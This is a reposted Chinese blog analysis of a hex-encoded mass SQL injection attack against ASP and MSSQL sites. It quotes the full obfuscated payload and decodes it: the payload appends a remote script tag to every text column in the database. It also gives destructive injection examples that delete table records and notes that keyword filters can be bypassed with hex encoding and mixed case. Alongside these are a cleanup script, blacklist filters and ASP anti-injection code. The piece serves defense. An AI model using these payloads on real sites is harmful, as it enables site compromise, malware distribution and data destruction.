zoukankan      html  css  js  c++  java
  • 二进制SQL注入漏洞分析

    摘自:http://blog.csdn.net/tkjune/archive/2009/01/03/3687728.aspx

    发现代码中并无出奇, 只是将几年前的冷饭再炒.因为多年过去了, 可能有人疏忽, 多试一些总有人中招的.

    注入方式中数字字段是最容易进入的. 文本也可以, 但在QUERYSTRING中提交文本的情况不如数字多.

    最常见的就是形如 news.asp?id=3

    在ASP中,疏忽的写法为

    aspID=request("id")

    SQL="SELECT * FROM NEWS WHERE ID=" & aspID

    SET RS=Conn.EXEC(SQL)

    这里的ID完全没有保护, 如果ID是一个字符串, 很容易就注入了

    例如ID=3;delete%20from%20news;

    直接删除NEWS表记录

    对于文本来说, 例如news.asp?keyword=abc

    aspKeyword=request("keyword")

    SQL="SELECT * FROM NEWS WHERE TITLE LIKE '%" &aspKeyword& "%'

    注入时就用在KEYWORD里用单引号封住, 最后再写一句假的SQL来骗原代码.

    例如 keyword=abc';delete from news;select * from sysobject where SOMETHING LIKE '%

    相比ID当然就麻烦的多.

    下面的内容中的一大堆代码, 其实是为了避开防注入程序中限制的一些关键字.

    看了几个防注入程序, 一般是通过过滤的方法, 例如

    SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|daxia123|<script|/script>"

    SQL_inj = split(SQL_Injdata,"|")

    如果使用了下文的二进制, 还有大小混写, 是可以绕过上面的程序的.

    所以还是要对来源是QUERYSTRING还是FORM,是数字还是文本作严格的判断

    对于要求是数字的,可以用ISNUMERIC()函数检查,如果非数字直接拒绝

    对于文本,检查是否包含单引号, 有的话一率用两个单引号代替, 在ASP中,两个单引号的前一个用作了转义.


    刚看到下面的那些文章里的一堆代码真被唬了一下, 实际分析还是以前的原理, 所以阻拦方法也没有变.


    --以下内容分别出自--


    http://bbs.360safe.com/viewthread.php?tid=606369

    http://blog.csdn.net/songz210/archive/2009/01/01/3663861.aspx

    http://bbs.ikaka.com/showtopic-8580913-5.aspx



    注入攻击拦截的源码: 

    dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s)


    源码转译


    DECLARE @T VARCHAR(255),@C VARCHAR(255) 

    DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 

    BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.jxmmtv.com/cn.js></script>''') 

    FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor





    修复代码 by 水上飞云@ http://bbs.ikaka.com/showtopic-8580913-4.aspx#9261365


    注:对ntext,text 无效






    /***********定义要去除的字符,请注意,


    可能不止一条,我的服务器就查到两条************/

    declare @delStr nvarchar(500)

    set @delStr='<script src=http://cn.inputthedamnwebsitedomainhere.cn/cn.js></script>'

    /****************************************/


    /**********以下为操作实体************/

    set nocount on


    declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID

    int,@iRow int,@iResult int

    declare @sql nvarchar(500)


    set @iResult=0

    declare cur cursor for

    select name,id from sysobjects where xtype='U'


    open cur

    fetch next from cur into @tableName,@tbID


    while @@fetch_status=0

    begin

     declare cur1 cursor for

           --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型

           select name from syscolumns where xtype in (231,167,239,175)

    and id=@tbID

     open cur1

     fetch next from cur1 into @columnName

     while @@fetch_status=0

     begin

         set @sql='update [' + @tableName + '] set ['+ @columnName +']=

    replace(['+@columnName+'],'''+@delStr+''','''') where

    ['+@columnName+'] like ''%'+@delStr+'%'''

         exec sp_executesql @sql

         set @iRow=@@rowcount

         set @iResult=@iResult+@iRow

         if @iRow>0

         begin

        print 'Table: '+@tableName+', Column:'+@columnName+' has been

    updated with '+convert(varchar(10),@iRow)+' record(s);'

         end

         fetch next from cur1 into @columnName



     end

     close cur1

     deallocate cur1


     fetch next from cur into @tableName,@tbID

    end

    print 'The database has '+convert(varchar(10),@iResult)+' record(s)

    been updated.'


    close cur

    deallocate cur

    set nocount off

    /*****以上为操作实体******/



    相关建议 by xutingxin @ http://bbs.ikaka.com/showtopic-8580913-5.aspx#9261798

    解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。


    可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击: 



    <%

    Response.Buffer = True  '缓存页面

    '防范get注入

    If Request.QueryString <> ""  Then StopInjection(Request.QueryString)

    '防范post注入

    If Request.Form <> ""  Then StopInjection(Request.Form)

    '防范cookies注入

    If Request.Cookies <> ""  Then StopInjection(Request.Cookies) 

    '正则子函数

    Function StopInjection(Values)

    Dim regEx

    Set regEx = New RegExp

        regEx.IgnoreCase = True

        regEx.Global = True

        regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"

        Dim sItem, sValue

        For Each sItem In Values

            sValue = Values(sItem)

            If regEx.Test(sValue) Then

                Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"

                Response.End

            End If

        Next

        Set regEx = Nothing

    End function

    %>


        把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 <!--#include file="antisql.asp"--> ,就可以实现全站的防范 sql 注入的攻击了。 



    本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/tkjune/archive/2009/01/03/3687728.aspx 

  • 相关阅读:
    2014年广州区域赛k题解
    2014年广州区域赛e题解
    2014年广州区域赛i题解
    最大化平均值问题
    codeforces 976e 题解
    maven
    机器学习入门
    拟合
    插值
    熵权法
  • 原文地址:https://www.cnblogs.com/wzyexf/p/1526134.html
Copyright © 2011-2022 走看看